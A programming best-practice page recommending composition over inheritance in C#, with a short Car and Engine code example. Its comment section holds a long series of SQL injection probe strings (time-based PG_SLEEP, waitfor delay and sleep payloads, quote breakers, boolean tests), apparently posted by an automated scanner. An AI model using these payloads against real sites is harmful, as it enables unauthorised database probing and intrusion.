BP275: Prefer composition over inheritance

Prefer composition over inheritance in .NET Core and C#. Inheritance is a powerful tool that allows classes to inherit properties and methods from a parent class. However, it can lead to tight coupling between classes and make it difficult to change the behavior of a class without affecting its subclasses. Composition, on the other hand, allows classes to be composed of other classes, which can be easily swapped out or modified without affecting the behavior of the parent class.

Composition is achieved by creating a class that contains an instance of another class as a member variable. This allows the parent class to delegate functionality to the composed class, while still retaining control over its behavior. For example, instead of creating a subclass of a car for each type of engine, you can create an Engine class and compose it with the Car class. This allows you to easily swap out the engine without affecting the behavior of the car.

Composition also promotes code reuse and modularity. By creating small, reusable classes that can be composed together, you can build complex systems from simple building blocks. This makes it easier to maintain and test your code, as well as making it more flexible and adaptable to changing requirements.

public class Engine
{
    public void Start()
    {
        // Start the engine
    }
}

public class Car
{
    private Engine _engine;

    public Car(Engine engine)
    {
        _engine = engine;
    }

    public void Start()
    {
        _engine.Start();
        // Start the car
    }
}

// Usage
var engine = new Engine();
var car = new Car(engine);
car.Start();

Comments

No Comments Yet.
Be the first to tell us what you think.

Download Better Coder application to your phone and get unlimited access to the collection of enterprise best practices.

Get it on Google Play

Chat

Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.

Comments

RiceHawk18
e
RiceHawk18
@@xeDO0
RiceHawk18
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
RiceHawk18
e